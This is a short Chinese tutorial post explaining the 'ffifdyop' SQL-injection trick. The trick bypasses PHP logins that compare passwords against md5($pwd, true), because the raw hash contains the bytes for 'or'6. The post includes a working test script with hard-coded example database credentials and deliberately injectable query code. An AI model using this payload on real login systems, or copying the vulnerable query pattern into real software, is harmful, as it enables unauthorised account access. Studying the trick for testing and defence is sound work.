SQL注入 PHP md5 万能密码绕过
如果有如下 sql 语句
1
| select * from user where password = md5($pwd);
|
万能密码
‘ffifdyop’
测试,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| $servername = "localhost"; $username = "root"; $password = "533533"; $dbname = "myDB"; $conn = new mysqli($servername, $username, $password, $dbname); if ($conn->connect_error) { die("连接失败: " . $conn->connect_error); } $password = 'ffifdyop';
$sql = "SELECT * FROM user WHERE password = '".md5($password,true)."'"; echo $sql;
$result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. ":" . $row["username"]. ":" . $row["password"]."\n"; } } else { echo "0 结果"; } $conn->close();
|
注意上述代码中的 sql 语句,php 会将 md5 返回的数据当做 hex 数据解析为 字符,所以,’ffifdyop’ 的 md5 为 276f722736c95d99e921722cf9ed621c
而 ‘or’6 的 16 进制 编码为 276f722736
Note:
只有使用 md5($val, true) 计算的 md5 转换为字符串时会被以16进制数据解析为字符串
1 2 3 4 5
| $password = 'ffifdyop';
echo md5($password); echo "\n"; echo md5($password, true);
|
该代码片段运行结果为
1 2 3
| 276f722736c95d99e921722cf9ed621c
'or'6�]��!r,��b
|
Comments